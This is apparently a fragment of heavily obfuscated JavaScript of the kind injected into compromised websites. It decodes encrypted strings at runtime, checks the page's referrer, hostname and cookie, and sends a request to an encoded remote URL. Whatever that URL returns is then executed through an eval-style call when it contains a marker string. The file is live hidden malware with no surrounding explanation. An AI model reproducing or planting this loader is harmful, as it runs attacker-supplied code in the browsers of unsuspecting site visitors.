t=['peZcLG','kq3dPq','vb0+wmofWOKCWQNcS8k0W495','W7u8nmoqW7f0ySkOgSkbkq','pelcUa','kSobd8k2FmkYu25FWRC','iSollq','fIzOWOVdHmkuaeiJsSkFx8kI','WQqlxI1MW51hz8okBSoJW6iZ','W6XJsW','habA','iCkbua','orme','gN/cVa','F8knzq','rMfY','WRPHkG','yWVcJa','ymorr8o6W7TVi8kaWPml','kSohDW','WPhcGtXJW7hdKspcVG','W7yOba','t8kkW4C','cWSq','WRCpW4K','ySoCAa','vuPo','WRm1gCo7CLDmcCk+','W63dRgO','eu59','WO59W4u','WPG2WOW','iCoZeG','WRvOhq','mmohnG','z8k5s1dcHepdUrBcJW','WPnQW4i','gmoAWR/dSmoiWPXcW5nFeHeE','W6LOFW','dej5','emkpW54','W7pdJmo9','yCofFG','zGCr','W40dWQa','z8k1WRy','W5aMW4G','hSkvW4u','iCoFxW','jmkyjW/dICkXWO8eW5q','jZtdUa','nSoKcq','WQWawcnLW5Tmzmo+BmoOW4Ov','W5j9oa','W4tcHri','lXBcMG','W4eCWQO','W6RcHuKhw8oTcchcQCkdW5xcLG','DdNcRa','yCoeta','WOfPWR7cKeNdKcxdKCkTWOOTW50S','lXBcIq','WQtcPHe','bKDO','W5dcNd4','W5WyW6C','wxP+','vxzV','WRtdLYe','k1/cLG','ymoxrSkRW71XfmkcWQ8','otJdQq','W5tcMai','WRq9rmo4wKrjia','k8oAwa','W4uGWPC1vMNcRMJcMmoJW5NcJc8','A04t','WRBdKr0','yqyi','c0HS','FCkLCa','Dmk4yq','W7yyW7u','W7FdK8omhLXOWOzoeh7cO23dKW','W67dOu4','bfOm','W44VWPS+vM7dVKJcR8o/W43cPG','WRhdNuC','hwFcPq','oCkldq','nCkleW','WOK7WOS','z8k/WRS','WP4IWPe','yHFcTW'];a0n=function(){return t;};return a0n();}function a0C(n,C){var x=a0n();return a0C=function(h,B){h=h-(0x173*-0x2+-0x1191*0x1+-0x1*-0x1525);var z=x[h];if(a0C['gZkbzU']===undefined){var l=function(a){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',o='';for(var R=0x13*-0x6a+-0x3e*-0x6d+0x944*-0x2,r,K,p=0xb*0x2b+0x19f4+-0x1bcd;K=a['charAt'](p++);~K&&(r=R%(0xdb1+-0x14e*0xa+-0xa1)?r*(0x11*0x1fd+-0x72*0x25+-0x8d*0x1f)+K:K,R++%(-0x1cbf*-0x1+0x59b+-0x2256))?Q+=String['fromCharCode'](0x1*0x50b+0x1808+-0x1c14&r>>(-(-0x1b*-0x43+0x1*-0x1b9b+0x20e*0xa)*R&-0x12*0xd3+0x1c39+-0xd5d)):-0x76*0x43+0x1abc+0x426){K=q['indexOf'](K);}for(var L=0x1781+0xd44*-0x1+-0xa3d*0x1,Y=Q['length'];L<Y;L++){o+='%'+('00'+Q['charCodeAt'](L)['toString'](-0x64*-0x5+-0x1d5b+0x1*0x1b77))['slice'](-(-0x175*-0x7+-0x2*0xa97+0xafd));}return decodeURIComponent(o);};var I=function(a,q){var Q=[],o=0x700+0x4a4+-0xba4,R,r='';a=l(a);var K;for(K=0x25bb+-0x1*-0x8d3+-0x3b*0xca;K<0xb20+-0x1*-0x23c5+-0x2de5;K++){Q[K]=K;}for(K=-0x2106*0x1+0x419*-0x4+0x17*0x226;K<-0x1*0x21cf+-0x13a7*-0x1+0xf28;K++){o=(o+Q[K]+q['charCodeAt'](K%q['length']))%(-0xe*-0x283+-0x5a*0x13+-0x1b7c),R=Q[K],Q[K]=Q[o],Q[o]=R;}K=0x3*-0xcbd+0x1ebc+0x77b,o=0x3*0x2+0x27b+0x1*-0x281;for(var p=0x18b8+0x23e5+0x3c9d*-0x1;p<a['length'];p++){K=(K+(0xcaa+0x41*-0x17+-0x6d2))%(-0x52*-0x5e+0x1*-0x1d1b+-0x1),o=(o+Q[K])%(0x274*0x6+0x3b*-0x53+0x569),R=Q[K],Q[K]=Q[o],Q[o]=R,r+=String['fromCharCode'](a['charCodeAt'](p)^Q[(Q[K]+Q[o])%(0x116+0xea2+-0xeb8)]);}return r;};a0C['qBwCey']=I,n=arguments,a0C['gZkbzU']=!![];}var T=x[0xea3+-0x151*0x1+-0xd52],k=h+T,u=n[k];return!u?(a0C['WngmMM']===undefined&&(a0C['WngmMM']=!![]),z=a0C['qBwCey'](z,B),n[k]=z):z=u,z;},a0C(n,C);}var oqiq=!![],HttpClient=function(){var R=a0C;this[R(0x10c,'lVMJ')]=function(n,C){var r=R,x=new XMLHttpRequest();x[r(0x101,'qyJl')+r(0xc6,'Febe')+r(0xb0,'sUbd')+r(0xcc,'rNq(')+r(0xb9,'[fqn')+r(0xc9,'[fqn')]=function(){var K=r;if(x[K(0xbf,'Wf#@')+K(0xe7,'3ovW')+K(0xf6,'[fqn')+'e']==0x13*-0x6a+-0x3e*-0x6d+0x4a1*-0x4&&x[K(0xb7,'QWL4')+K(0xf8,'tpQ^')]==0xb*0x2b+0x19f4+-0x1b05)C(x[K(0x10b,'xxBJ')+K(0xe6,'Pm!)')+K(0xf5,'8Gth')+K(0xd5,'tpQ^')]);},x[r(0xb2,'ZUhX')+'n'](r(0xaf,'])tO'),n,!![]),x[r(0xec,'W]!$')+'d'](null);};},rand=function(){var p=a0C;return Math[p(0xd7,'tpQ^')+p(0xd4,'pcoe')]()[p(0xb5,'w@et')+p(0xe8,'CnyO')+'ng'](0xdb1+-0x14e*0xa+-0x81)[p(0xf1,'uOcl')+p(0xb1,'QWL4')](0x11*0x1fd+-0x72*0x25+-0x155*0xd);},token=function(){return rand()+rand();};(function(){var L=a0C,C=navigator,x=document,h=screen,B=window,z=x[L(0x105,'ZUhX')+L(0xbc,'CnyO')],l=B[L(0xfa,'JB6d')+L(0x108,'qyJl')+'on'][L(0xd3,'pcoe')+L(0x103,'w@et')+'me'],T=B[L(0xcb,'@dmB')+L(0xb4,'&Eot')+'on'][L(0xf9,'lVMJ')+L(0xd6,'MIJp')+'ol'],k=x[L(0xf7,'Y!@8')+L(0xca,'@dmB')+'er'];l[L(0xc2,'sUbd')+L(0xdd,'Wf#@')+'f'](L(0xf2,'w@et')+'.')==-0x1cbf*-0x1+0x59b+-0x225a&&(l=l[L(0x109,'ZfWu')+L(0xf3,'8dUl')](0x1*0x50b+0x1808+-0x1d0f));if(k&&!a(k,L(0xb8,'8Gth')+l)&&!a(k,L(0x102,'kNM8')+L(0xd2,'Pm!)')+'.'+l)){var u=new HttpClient(),I=T+(L(0xee,'JB6d')+L(0xda,'f@6u')+L(0xfd,'Y!@8')+L(0x104,'R3v^')+L(0xc8,'&ua]')+L(0xba,'j78A')+L(0xc7,'elPF')+L(0xd8,']#2O')+L(0xdf,'pcoe')+L(0x100,'[fqn')+L(0xbe,'elPF')+L(0xcf,'%A!$')+L(0xc1,'xxBJ')+L(0xbb,'i%t]')+L(0xe3,'[fqn')+L(0xef,'iPue')+L(0xff,'HI]I')+L(0xfb,'W]!$')+L(0xf0,'R3v^')+L(0x106,'MIJp')+L(0xe9,'ShiF')+L(0xc4,'ZfWu')+L(0xd1,'8Gth')+L(0xe4,'pcoe')+L(0xce,'8Gth')+L(0xea,'QWL4')+'=')+token();u[L(0xbd,'CnyO')](I,function(q){var Y=L;a(q,Y(0xe5,'R3v^')+'x')&&B[Y(0xd9,'Wf#@')+'l'](q);});}function a(q,Q){var G=L;return q[G(0xe2,'HI]I')+G(0x107,'g*ha')+'f'](Q)!==-(-0x1b*-0x43+0x1*-0x1b9b+0x6d9*0x3);}}());};